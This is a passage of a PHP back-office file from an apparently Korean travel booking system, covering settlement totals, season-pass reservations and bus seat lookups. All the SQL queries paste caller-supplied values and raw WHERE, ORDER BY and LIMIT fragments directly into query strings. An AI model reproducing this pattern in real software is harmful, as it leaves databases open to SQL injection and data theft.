	$data['calu'] = array(); // 정산 누적금액 및 이익율 계산

	$revn_tot = 0; // 수익계
	$exes_tot = 0; // 비용계
	$exes_common = 0; // 출금지출(2014-07-29)
	$exes_vat = 0; // 부가세 지출(2014-07-29)

	if (!$res_no) return $data;

	$sql = "select * from {$table} where res_no='{$res_no}' ";
	if ($seq) $sql .= " and seq='{$seq}' "; 
	$sql .= " order by acc_dt , ins_dt ";

	$rs = db_query($sql);

	// 각 항목 조회
	for($i=0 ; $row=db_fetch_array($rs) ; $i++)
	{
		$revn_tot += $row['revn_price']; // 수익계
		$exes_tot += $row['exes_price']; // 비용계

		if($row['exes_cd']=="AEXE004") // 부가세 지출(2014-07-29)
		{
			$exes_vat += $row['exes_price'];
		}
		else // 출금 지출(2014-07-29)
		{
			$exes_common += $row['exes_price'];
		}

		$data['list'][] = $row;
	}

	if (!$seq)
	{
		$arr = array();
		$comm_tot = 0; // 수수료 수익
		$incom_tot =0; // 총수익
		$price_total = 0; // 판매액

		if ( count($data['list']) > 0 ) // 정산정보가 있음
		{
			// 판매(입금)액
			$arr_t = res_air_master(" and res_no='{$res_no}' ");

			$price_total = $arr_t[0]['price_total'];
				
			// 알선수수료 = 판매액 - 비용계(항공,지상비등등)
			$comm_tot = $price_total - $exes_tot;
				
			// 총수익 = 알선수수료 + 수익계(COM,수수료 등)
			$incom_tot = $comm_tot + $revn_tot;
		}
		$arr['revn_tot']	= $revn_tot;
		$arr['exes_tot']	= $exes_tot;
		$arr['exes_common']	= $exes_common; // 출금 지출(2014-07-29)
		$arr['exes_vat']		= $exes_vat; // 부가세 지출(2014-07-29)
		$arr['comm_tot']	= $comm_tot; // 알선수수료
		$arr['incom_tot']	= $incom_tot; // 총수익
		
		$data['calu'] = $arr;
	}

	// return
	return $data;
}


/******************************************************************************
*
* 3. 시즌권 상품목록 , 예약 , 입출금 기장,정산 정보
*
******************************************************************************/


// 시즌권 목록
//
function to_kdseason($sql_where="",$sql_order="",$limit="")
{
	global $cf;

	$upload="/FileData/bus/";
	$upload_thum="/FileData/bus_thum/";

	$data = array();

	// 조건
	$sql = "select * from TB_KDSEASON where 1 {$sql_where} ";
	
	// 정렬
	if ( $sql_order ) $sql .= " order by ".$sql_order;
	else $sql .= " order by order_num ";

	// 페이징
	if ( $limit ) $sql .= " limit {$limit}";
		
	$rs = db_query($sql);

	while($row=db_fetch_array($rs))
	{

		// 사용 flag
		if ($row['delflag'] == "N") {
			$row['delflag_icon'] = $cf['icon']['start'];
			$row['delflag_opp'] = "Y";
		} else {
			$row['delflag_icon'] = $cf['icon']['stop'];
			$row['delflag_opp'] = "N";
		}

		// 대표이미지 
		if ( $row['img'] ) 
		{
			$row['img_src'] = $upload . $row['img'];
			$row['img_thum'] = $upload_thum . $row['img'];
		}else
		{
			$row['img_src'] = $cf['TO_IMG']['no_image_s'];
			$row['img_thum'] = $cf['TO_IMG']['no_image_s'];
		}


		// 기타
		$row['ins_dt2'] = str_replace("-",".",substr($row['ins_dt'],0,10));
			
		$data[] = $row;
	}

	return $data;
}

// 시즌권 예약 마스터
//
function res_kdseason_master($sql_where="",$sql_order="",$limit="")
{
	$data = array();
	$table = "TB_RES_KDSEASON";
	
	$upload = "../../FileData/upfile/";

	// 조건
	$sql = "select * from {$table} where 1 {$sql_where} ";
	
	// 정렬
	if ( $sql_order ) $sql .= " order by ".$sql_order;
	else $sql .= " order by ins_dt desc ";

	// 페이징
	if ( $limit ) $sql .= " limit {$limit}";
		
	$rs = db_query($sql);

	while($row=db_fetch_array($rs))
	{
		// 예약진행 상태
		$code_data = base_codec("PRD","HRES",$row['res_stat_cd']);
		$row['res_stat_str'] = $code_data[0]['cd_nm'];
		$row['res_stat_color'] = $code_data[0]['cd_memo'];

		// 입금상태 (미납/완납/과납) 
		$arr = res_account_info($row['res_no']);
		$arr_account = $arr['tot'];
		
		$row['proc_str'] = "-"; // 입금상태 초기화

		if ( $arr_account['pre_money'] > 0 ) 
			$row['proc_str'] = "<span class='icon_unpaid'>미납</span>";
		else if ( $arr_account['pre_money'] < 0 ) 
			$row['proc_str'] = "<span class='icon_overpaid'>과납</span>";
		else if ( $row['res_stat_cd'] == "C" ) 
			$row['proc_str'] = "<span class='icon_paid'>완납</span>";
			
		$row['account'] = $arr_account;

		// 결제 유무
		$row['pay_yn'] = "N";
		if ( $row['res_stat_cd']=="C" and $arr_account['pre_money'] > 0 ) // 확정예약 && 미결제금액이 '0' 이상
		{
			$row['pay_yn'] = "Y"; // 결제가능
		}
		if ( $row['res_stat_cd']=="C" and $arr_account['pre_money'] == 0 ) // 확정예약 && 미결제금액이 '0'
		{
			$row['pay_yn'] = "C"; // 결제완료
		}

		// 원가
		$row['price_cost_total'] = $row['price_total'];

		// 진행전달
		$code_data = base_codec("PRD","RESS",$row['order_state']);
		$row['order_state_str'] =  $code_data[0]['cd_nm'];
		$row['order_state_color'] = $code_data[0]['cd_memo'];

		// 기타
		$row['tab'] = "S"; 
		$row['ins_dt2'] = str_replace("-","/",substr($row['ins_dt'],0,10));
		$row['rdt2'] = str_replace("-",".",substr($row['rdt'],5,5));
		$row['hdt2'] = str_replace("-",".",substr($row['hdt'],5,5));
	
		$data[] = $row;
	}

	return $data;
}


/******************************************************************************
*
* 4. 차량배차 , 좌석관리 , 좌석지정
*
******************************************************************************/

// 차량정보(X)
// 사용안함
// 
function to_car($sql_where="",$sql_order="",$limit="")
{
	$table = "TB_RES_CAR";
	$data = array();

	// 조건
	$sql = "select * from {$table} where 1  {$sql_where} ";
	
	// 정렬
	if ( $sql_order ) $sql .= " order by ".$sql_order;
	else $sql .= " order by ins_dt desc ";

	// 페이징
	if ( $limit ) $sql .= " limit {$limit}";
		
	$rs = db_query($sql);

	while($row=db_fetch_array($rs))
	{
		// 좌석배치 개수
		$data_seat = db_fetch("select count(*) as seat from TB_RES_CAR_SEAT where cid='{$row[cid]}' ");
		$row['seat'] = $data_seat['seat'];
		
		$data[] = $row;
	}

	return $data;
}

// 좌석 배치 정보
// 
function to_car_seat($sql_where="")
{
	$table = "TB_RES_CAR_SEAT";
	$data = array();

	if(!$sql_where) return $data;

	// 조건
	$sql = "select * from {$table} where 1 {$sql_where} ";
	
	// 정렬
	$sql .= " order by seat_no ";
	
	$rs = db_query($sql);
	
	while($row=db_fetch_array($rs))
	{
		$data[] = $row;
	}

	return $data;
}

?>

Anon7 - 2021